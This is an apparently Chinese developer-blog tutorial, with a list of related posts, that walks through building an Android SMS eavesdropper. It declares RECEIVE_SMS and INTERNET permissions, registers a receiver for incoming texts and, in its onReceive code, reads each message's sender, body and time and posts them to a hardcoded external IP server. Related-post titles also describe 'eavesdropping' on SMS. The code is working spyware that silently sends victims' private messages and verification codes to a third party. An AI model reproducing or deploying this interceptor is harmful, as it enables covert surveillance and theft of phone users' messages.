android 使用BroadcastReceiver编写短信

原创 2015年07月07日 13:30:01

BroadcastReceiver编写短信***步骤:

  1. 第一步:在AndroidManifest.xml中配置接收短信的权限,以及仿问Intenet的权限  
  2. <uses-permission android:name="android.permission.RECEIVE_SMS"/>  
  3. <uses-permission android:name="android.permission.INTERNET"/>  
  4. 第二步:订阅android系统短信广播,这一步的目的是只有通过订阅广播后,手机收到短信,才知道要执行哪个广播组件。  
  5. <!--  
  6. 系统收到短信时,会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播意图  
  7. 当发出这个action后,如果与android:name="android.provider.Telephony.SMS_RECEIVED“这个名字相匹配,  
  8. 则会执行MyBroadcast广播组件,MyBroadcast 这个类是继承BroadcastReceiver自己编写的类。->  
  9.     <receiver android:name=".MyBroadcast">  
  10.         <intent-filter>  
  11.              <action android:name="android.provider.Telephony.SMS_RECEIVED"/>  
  12.         </intent-filter>  
  13.     </receiver>  
  14. 第三步:继承BroadcastReceiver编写MyBroadcast类,并重写onReceive()方法。  
  15. 通过名称为pdus,就可以从上面的广播意图中获取短信的内容  
  16. public class MyBroadcast extends BroadcastReceiver {  
  17.     @Override  
  18.     public void onReceive(Context context, Intent intent) {  
  19.            
  20.         //得到的是Object 数组 每条短信是以字节数据的形式存放  
  21.             Object[] pduss = (Object[])intent.getExtras().get("pdus");  
  22.             for(Object pdus : pduss){  
  23.                 byte[] pdumessage  = (byte[])pdus;  
  24.                 SmsMessage sms = SmsMessage.createFromPdu(pdumessage);  
  25.                 String phone = sms.getOriginatingAddress();  
  26.                 String content = sms.getMessageBody();  
  27.                 Date  date  =  new Date(sms.getTimestampMillis());  
  28.                 SimpleDateFormat sDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
  29.                 String sendtime = sDateFormat.format(date);  
  30.             //将短信放在map容器中  
  31.             Map<String, String> map = new HashMap<String, String>();  
  32.                 map.put("phone",phone);  
  33.                 map.put("content",content);  
  34.                 map.put("sendtime", sendtime);  
  35.                 String path="http://218.67.59.20:8080/test/index.jsp";  
  36.                 try {  
  37.                     //将短信发送到path路径的服务端,在服务端就可以通过参数获取短信内容  
  38.                     SmsToWeb.post(path, map, "UTF-8");  
  39.                 } catch (Exception e) {  
  40.                     // TODO Auto-generated catch block  
  41.                     e.printStackTrace();  
  42.                 }  
  43.             }  
  44.     }  
  45.   
  46. }  
版权声明:本文为博主http://www.feixueteam.net原创文章,未经博主允许不得转载。

通过BroadcastReceiver拦截短信

  当android系统接收到短信时,会发送一个广播BroadcastReceiver,这个广播是以有序广播的形式发送的。所谓的有序广播就是广播发出后,接收者是按照设置的优先级一个一个接着接收,前面的...
  • dream19861009
  • dream19861009
  • 2011年04月25日 14:13
  • 1699

android接收和发送短信代码-BroadcastReceiver应用

学习郭神的第一行代码的时候跟着敲的,留作今后学习用。
  • u011758031
  • u011758031
  • 2015年09月27日 01:33
  • 493

Android的短信接收处理----Broadcast和Receiver的使用

  • sxsj333
  • sxsj333
  • 2011年07月21日 12:02
  • 3678

使用BroadcastReceiver进行短信监控

使用BroadcastReceiver进行短信监控 1. 创建没有Activity的安卓项目 为之后的错误埋下伏笔。 2. 创建class继承于BroadcastReceiver 重写...
  • zhangxiao93
  • zhangxiao93
  • 2015年11月23日 11:36
  • 822

Android两种方式监听短信内容---BroadcastReceiver和ContentObserver

第一种方式:广播 SMSBroadcastReceiver: package com.ddgl.ddlx.BroadcastReceiver; import android.content.Broa...
  • rururu2211785113
  • rururu2211785113
  • 2016年12月28日 18:48
  • 2071

利用广播机制(BroadcastReceiver)窃听短信

对手机进行短信的窃听和拦截。 MianActivity: 在4.0以后,需要一个界面,不然窃听不了,启动了界面,就直接关闭。 package com.zhangli.sms; import andr...
  • zhangli_
  • zhangli_
  • 2016年01月02日 17:33
  • 459

android 使用BroadcastReceiver编写短信窃听器

BroadcastReceiver编写短信窃听器步骤: 第一步:在AndroidManifest.xml中配置接收短信的权限,以及仿问Intenet的权限 第二步:订阅android系统短信...
  • wbelove
  • wbelove
  • 2011年12月04日 14:56
  • 535

android BroadcastReceiver 使用小结

BroadcastReceiver 作为android4大组件之一,使用的很普遍,下面是对使用BroadcastReceiver一些总结。 1. android 广播机制的三要素: 广播(Broadc...
  • qq282330332
  • qq282330332
  • 2016年06月07日 11:15
  • 1826

android BroadcastReceiver详细讲解1-自带的广播接受器-拨号、短信、卸载/安装、开机启动

android中自带的广播接受器在上一篇文章中SD卡的监听 下面我继续来介绍安装与卸载的监听 我们先了解android中安装与卸载的action ...
  • su19921021
  • su19921021
  • 2015年11月18日 10:41
  • 753

关于使用handler与BroadcastReceiver机制来处理动态改变U线程组件

当在同一个Activity中的一些操作会改变这个Activity上的组件显示,可以在这个UI线程(Activity)上设置handler并重写handleMessage()方法来处理消息,并在这个Ac...
  • shw372029857
  • shw372029857
  • 2015年08月20日 22:42
  • 1630
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:android 使用BroadcastReceiver编写短信
举报原因:
原因补充:

(最多只允许输入30个字)